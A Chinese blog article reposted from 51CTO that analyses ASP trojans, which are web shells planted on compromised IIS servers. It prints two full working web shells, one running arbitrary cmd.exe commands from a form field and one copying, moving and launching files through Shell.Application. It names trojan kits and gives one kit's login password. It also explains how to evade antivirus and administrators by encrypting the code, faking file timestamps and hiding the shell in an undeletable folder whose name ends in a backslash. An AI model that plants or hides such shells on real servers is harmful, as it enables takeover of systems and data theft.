Asp木马技术分析
现在很多的站点,为便于建站和后台管理,都使用ASP动态程序。但这也为整个站点的安全带来很大隐患,现在典型的网站攻击就是通过植入ASP木马,从而得到系统的控制权。早期的asp木马一般有数个文件,随着asp木马的易用性、隐蔽性以及强大的可执行性,因此得到越来越的黑客和入侵者的青睐,asp木马技术也就水涨船高,现在的asp木马文件已经集成到一个文件,其大小也就二三十k,而且可以通过使用“asp木马免杀工具2.0”等软件来对asp源程序进行加密等方法,躲过防毒软件对其的查杀。下面就对目前比较流行的木马技术、木马软件以及木马防杀毒技术进行介绍。
(一)木马核心技术介绍
Asp木马中最核心的技术就是利用脚本创建对象,然后利用cmd.exe命令来执行对文件的创建、删除以及修改等操作。下面就目前较为流行的利用FSO以及不利用FSO技术的木马程序源代码进行介绍。
说明:FSO是对F
ileSystemObject的简称,IIS4以及后续版本中
的
ASP
的文件操作都可以通过
F
ileSystemObject
实现
,
包括文本文件的读写目录操作、文件的拷贝改名删除等。
F
ileSystemObject带来方便的同时,也具有非常大的风险性,
利用
F
ileSystemObject
可以篡改并下载Fat以及FAT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。
1.使用FSO技术的asp木马
<%@ LANGUAGE="VBSCRIPT" codepage ="936" %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
'使用Run方法创建一个新的进程,
隐藏窗口并激活另一窗口
,
返回由应用程序返回的任何错误代码
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打开临时文件szTempFile
End If
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行" class=input>
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll) '在网页上输出命令执行的结果
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True) '删除临时文件szTempFile
End If
%>
</BODY>
</HTML>
使用FSO技术的木马通过下面的代码来创建WSCRIPT.SHELL、WSCRIPT.NETWORK和 Scripting.FileSystemObject,然后通过Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)来调用常用的delete、copy、dir、net、netstat等一些DOS命令。
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
其原型为:
cmd.exe /c “dos命令” > “文件名称”
如要查看c盘所有文件并将查看结果输出到viewdrive_c.txt的命令为:
cmd.exe/c dir c:\ >viewdrive_c.txt
说明:“>”是将命令执行的结果输入到一个文件。“文件名称”中如果没有指定路径则默认保存在当前目录下。
注意:在输入的命令之间要留一个空格。
利用FSO技术的asp木马程序的原理为:从asp页面获取输入的Dos命令,然后分别创建WSCRIPT.SHELL、WSCRIPT.NETWORK和 Scripting.FileSystemObject三个脚本对象,接着执行Dos命令解释器并执行所输入的Dos命令,并将输入其命令的执行结果到一个临时文件(szTempFile),然后打开临时文件并将其结果回显在网页上,最后删除临时文件。运行结果如图1所示。
2.非FSO技术的asp木马
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>" size="20"> <font class=fonts>输入要浏览的目录,最后要加\</font><br>
<input type=text name=text1 value="<%=szCMD1 %>" size="20">copy
<input type=text name=text2 value="<%=szCMD2 %>" size="20"><br>
<input type=text name=text3 value="<%=szCMD3 %>" size="20">move
<input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路径:
<input type=text name=text5 value="<%=szCMD5 %>" size="20">程序:
<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br>
<input type=submit name=sb value=发送命令 class=input>
</form>
</table>
</center>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序到指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
以上代码运行结果如图2所示。不使用FSO技术的ASP木马是创建一个Shell.Application对象,然后通过shell.namespace来对创建的对象进行操作。通过使用该种方法虽然不能执行net、del以及netstat等命令,但是它可以复制、移动文件及其文件夹以及执行系统中存在的特定程序。不过在每执行一次应用程序时都会打开一个进程,而且可能会报错,通过任务控制器可以查看其打开的进程。
说明:Shell.Application对象提供了
NameSpace(
文件夹名
)、CopyHere(<
源
>[,
选项标志
])
和
MoveHere(<
源
>[,
选项标志
])方法。NameSpace()方法可以得到文件夹的属性,CopyHere()和MoveHere()分别对文件夹进行拷贝和移动。
(二)常用的asp木马软件
1.海阳顶端网asp木马
在众多的asp木马中,海阳顶端网asp木马应该是比较成熟的,也是用得最多的asp木马,就其版本而言,到目前为止已经推出了数个版本:海阳顶端网asp木马第一版、海阳顶端网asp木马xp版、海阳顶端网asp木马xp-net版、海阳顶端网asp木马2003版、海阳顶端asp木马安装插件版以及海阳顶端网asp木马2005版。早期的海阳顶端网asp木马一般都有数个asp文件,后期的asp木马把所有的文件都集成到一个文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。海阳顶端网asp木马是用asp脚本语言编写,提供在线更改、编辑、删除任意文件。如果服务器上存在asp木马程序,那么该服务器基本上就#¥%了。海阳顶端网asp木马xp-net版初次运行界面如图3所示,在下方的输入密码框中输入“haiyangtop.126.com”后可以使用其集成功能的界面(图4)。在该界面中可以方便的切换盘符,浏览、编辑、删除和复制指定盘符下所选中的文件。使用该木马来操作文件就如同在本机上操作文件一样方便。
2.asp木马免杀工具2.0
asp木马免杀工具2.0是一款对asp源代码进行加密的工具(图5)。大小为545k,其中asp.exe为主程序,运行程序后选择源木马文件,然后先单击“转换”,最后单击“加密”即可生成一个加密的asp木马网页文件。
3.思易ASP木马追捕2.0
思易ASP木马追捕2.0主要对文件中是否存在FSO、deletefolder、shell.application、wscript、xmlhttp、vbscript.encode、adodb.stream对象或者使用了其中的某些方法进行检查,可以对利用变量创建对象、静态对象以及自定义的关键字等进行搜索。不过该程序当对较大文件的检索可能导致IIS停止响应,甚至可能导致服务器宕机,其运行界面如图6所示。
(三)asp木马防毒技术
在攻克主机植入asp木马后,为了保护好自己的战利品,防止系统管理员发现,黑客一般情况下都会对asp木马进行保护,往往通过加密、更改时间以及使用特殊字符等手段来逃过被杀毒软件的查出和避免系统管理员的发现。下面就对其经常使用的方法进行讲解。
1.利用软件对asp源代码加密
目前有很多软件可以对asp源代码进行加密,例如
asp木马免杀工具2.0等。其原理是采用一定的算法将源代码或者源代码中的关键字进行某种转换,经过转换后,源代码已经变为乱码或者显示为特定的字符形式。但是随着杀毒技术的提高和版本的升级,经过加密后的asp木马仍然不能保证躲过杀毒软件的查杀。
2.修改asp木马文件的时间
asp木马上传到服务器后,即使非常隐蔽,但是其文件修改时间的变化在正常文件中很容易被发现,因此
有人通过修改木马源程序文件的时间跟在服务器上的正常文件的时间一致来逃过被管理员发现。
3.利用特殊字符
"\"
来保护asp木马
Windows在设计时已经考虑到不能使用“\”来作为文件及其文件夹的名字,但是在使用cmd.exe命令来创建文件时,如果其文件名中包含了“\”,则该文件名中的“\”将被忽略,但是所建立的文件夹还是会成功,只是不会显示“\”(图7)。利用
"\"字符来保护asp木马文件的原理为:在IIS设置的目录下创建一个形入“a
…
\”的文件夹,然后将木马文件复制到该文件夹中。复制成功后,可以在浏览其中输入如下地址运行木马文件:[url]http://localhost/aspmuma/[/url]asp.../xp.asp
说明:其中我们将xp.asp木马文件复制到“asp
…
/”目录中,其创建命令如下:
mkdir a
…
\
copy xp.asp a
…
\
创建成功后,可以在浏览器中看到一个为“a”的文件夹,但不能打开和删除该文件夹,从而达到保护asp木马文件的目的。
本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/46572